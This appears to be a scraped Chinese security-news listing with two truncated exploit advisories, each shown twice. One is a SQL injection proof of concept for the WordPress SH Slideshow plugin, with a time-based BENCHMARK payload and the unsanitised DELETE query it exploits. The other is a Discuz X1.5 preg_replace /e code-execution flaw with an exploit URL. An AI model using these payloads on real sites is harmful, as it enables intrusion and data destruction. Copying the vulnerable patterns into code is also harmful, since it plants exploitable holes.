阅读全文 →1.WordPress SH Slideshow plugin <= 3.1.4 SQL Injection Vulnerability Exploit Title: WordPress SH Slideshow plugin <= 3.1.4 SQL Injection Vulnerability Date: 2011-08-29 Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) Software Link: http://downloads.wordpress.org/plugin/sh-slideshow.3.1.4.zip Version: 3.1.4 (tested) PoC (POST data) http://www.xxxxx.com/wp-content/plugins/sh-slideshow/ajax.php id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 Vulnerable code $result = $wpdb->query(''delete from sh_slides where id = ''.$_POST[''id'']); 2.WordPress iCopyright(R) Article Tools plugin <= 1......
阅读全文 →1.WordPress SH Slideshow plugin <= 3.1.4 SQL Injection Vulnerability Exploit Title: WordPress SH Slideshow plugin <= 3.1.4 SQL Injection Vulnerability Date: 2011-08-29 Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) Software Link: http://downloads.wordpress.org/plugin/sh-slideshow.3.1.4.zip Version: 3.1.4 (tested) PoC (POST data) http://www.xxxxx.com/wp-content/plugins/sh-slideshow/ajax.php id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 Vulnerable code $result = $wpdb->query(''delete from sh_slides where id = ''.$_POST[''id'']); 2.WordPress iCopyright(R) Article Tools plugin <= 1......
阅读全文 →作者:晴天小铸 测试环境:discuz X1.5+nginx 1.0 漏洞文件source/function/function_core.php,代码: $_G['setting']['domain']['app']['default'] && $content = preg_replace("/<a href="([^"]+)"/e", "rewriteoutput('site_default', 0, '".$_G['setting']['domain']['app']['default'].$port.$_G['siteroot']."', '\1')", $content); 利用代码: http://www.xxx.com/forum.php/admin.php’/DDDDDDD.php
阅读全文 →作者:晴天小铸 测试环境:discuz X1.5+nginx 1.0 漏洞文件source/function/function_core.php,代码: $_G['setting']['domain']['app']['default'] && $content = preg_replace("/<a href="([^"]+)"/e", "rewriteoutput('site_default', 0, '".$_G['setting']['domain']['app']['default'].$port.$_G['siteroot']."', '\1')", $content); 利用代码: http://www.xxx.com/forum.php/admin.php’/DDDDDDD.php
阅读全文 →